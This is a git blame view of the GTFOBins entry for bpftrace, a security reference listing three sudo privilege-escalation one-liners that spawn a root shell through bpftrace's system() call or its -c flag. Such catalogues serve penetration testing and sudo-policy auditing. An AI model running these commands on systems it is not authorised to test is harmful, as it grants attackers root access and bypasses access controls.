GTFOBins.github.io/_gtfobins/bpftrace.md

11 lines
260 B
Markdown
Raw Normal View History

2020-01-03 14:02:32 +01:00
---
functions:
sudo:
2020-01-03 14:11:37 +01:00
- code: sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
2020-01-03 14:02:32 +01:00
- code: |
TF=$(mktemp)
2020-01-03 14:11:37 +01:00
echo 'BEGIN {system("/bin/sh");exit()}' >$TF
2020-01-03 14:02:32 +01:00
sudo bpftrace $TF
2020-01-03 14:11:37 +01:00
- code: sudo bpftrace -c /bin/sh -e 'END {exit()}'
2020-01-03 14:02:32 +01:00
---